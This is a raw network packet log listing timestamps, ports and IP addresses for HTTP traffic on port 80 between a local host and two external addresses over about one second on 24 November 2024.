Nov 24, 2024 14:24:39.813637972 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:39.813648939 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:39.813673973 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:39.813683033 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:39.813719034 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:39.816234112 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.816287041 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.816488028 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.858907938 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.859074116 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.859159946 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.898386955 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.898534060 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.898613930 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.899426937 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.899585962 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.900804043 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.900834084 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.900859118 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.900902033 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.933727980 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:39.933762074 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:39.933787107 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:39.933830023 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:39.940325022 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.940448999 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.940511942 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.941245079 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.941504002 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.941600084 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.941612005 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.943402052 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.943450928 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.983100891 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.983138084 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.983190060 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:39.984107971 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.984163046 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:39.984342098 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.008462906 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.008512974 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.008627892 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.023562908 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.023600101 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.023746967 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.023746967 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.025912046 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.026015043 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.026134014 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.026911020 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.027024031 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.027729034 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.027797937 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.028234959 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.029300928 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.029356003 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.029356956 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.029403925 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.037740946 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.037798882 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.037858963 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.037913084 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.046200037 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.046252966 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.046253920 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.046305895 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.051352978 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.051407099 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.051587105 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.054544926 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.054596901 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.054738998 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.054790020 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.063033104 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.063132048 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.063196898 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.063246965 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.068167925 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.068222046 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.068373919 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.068736076 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.068789005 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.069097042 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.070604086 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.071352959 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.071403980 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.071432114 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.071482897 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.079804897 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.079859972 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.079924107 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.079976082 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.088604927 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.088656902 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.088660002 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.088713884 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.095567942 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.095635891 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.095649004 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.096585035 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.096645117 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.096705914 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.096757889 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.104960918 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.105014086 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.113291025 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.113364935 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.113388062 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.114236116 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.114321947 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.114337921 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.149199963 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.149280071 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.149287939 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.152914047 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.153045893 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.153191090 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.153863907 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.153948069 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.153997898 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.155278921 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.155339956 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.155400038 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.157233000 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.157285929 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.157325029 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.195453882 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.195522070 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.195530891 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.196374893 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.196435928 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.196471930 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.198318005 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.198379040 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.198936939 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.199054956 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.199572086 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.200922966 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.234380960 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.234441996 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.234522104 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.237062931 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.237099886 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.237157106 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.237942934 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.238017082 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.238109112 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.238714933 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.238806009 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.238874912 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.240824938 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.240948915 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.241027117 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.242255926 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.242330074 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.244251966 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.244266033 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.244312048 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.244349957 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.249686956 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.249702930 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.249761105 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.257025957 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.257040977 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.257098913 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.260426998 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.260535955 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.260601044 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.265841007 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.265928030 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.265996933 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.271193027 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.271204948 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.271239042 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.271272898 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.271307945 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.271346092 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.271388054 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.276690006 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.276793003 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.276856899 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.280821085 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.280921936 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.281028986 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.281738043 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.281860113 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.281919003 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.282223940 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.282277107 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.282409906 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.282455921 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.283713102 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.283802986 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.287592888 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.287766933 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.287777901 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.287811995 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.287828922 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.287940979 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.293037891 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.293190002 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.293250084 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.298459053 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.298563004 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.298615932 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.303896904 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.304001093 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.304049969 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.305108070 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.305156946 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.305211067 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.309340954 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.309465885 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.309519053 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.314728975 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.314821005 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.314891100 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.320221901 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.320287943 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.320342064 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.323434114 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.323524952 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.323601961 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.324431896 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.324539900 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.325084925 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.325599909 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.325650930 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.325691938 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.325736046 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.326348066 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.326929092 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.327016115 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.327079058 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.328815937 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.328876019 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.331032991 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.331171989 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.331222057 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.336462021 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.337074995 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.365840912 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.365881920 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.365984917 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.366791964 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.366871119 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.368316889 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.368374109 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.368407011 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.368526936 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.370225906 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.370342016 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.370394945 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.372173071 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.422498941 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.429724932 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.429783106 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.429852009 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.444504023 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.444581985 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.444629908 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.446716070 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.446844101 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.446888924 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.451082945 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.451133013 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.451164961 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.451205969 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.455511093 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.455612898 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.455657959 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.459768057 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.459817886 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.459867001 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.459908962 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.463994980 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.464039087 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.464113951 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.464171886 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.468086958 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.468220949 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.468272924 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.469094038 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.469209909 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.469368935 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.470079899 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.470185041 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.471179962 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.472021103 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.472106934 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.472166061 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.472199917 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.472239971 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.472589970 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.472656965 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.472691059 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.474534035 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.474642992 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.474653959 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.476104021 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.476213932 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.476253986 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.476476908 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.476532936 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.476572037 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.478430986 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.478480101 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.478534937 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.480103016 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.480158091 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.480232954 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.480277061 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.480345964 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.480403900 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.480459929 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.482407093 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.482476950 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.482502937 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.484364033 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.484493017 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.484504938 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.484533072 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.484554052 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.484586954 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.488181114 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.488241911 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.488286018 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.488337994 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.492140055 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.492187023 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.492266893 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.492312908 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.496157885 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.496262074 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.496262074 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:40.496313095 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:40.497661114 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.497745991 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:40.497783899 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:40.498583078 CET	80	49808	34.116.198.130	192.168.2.4
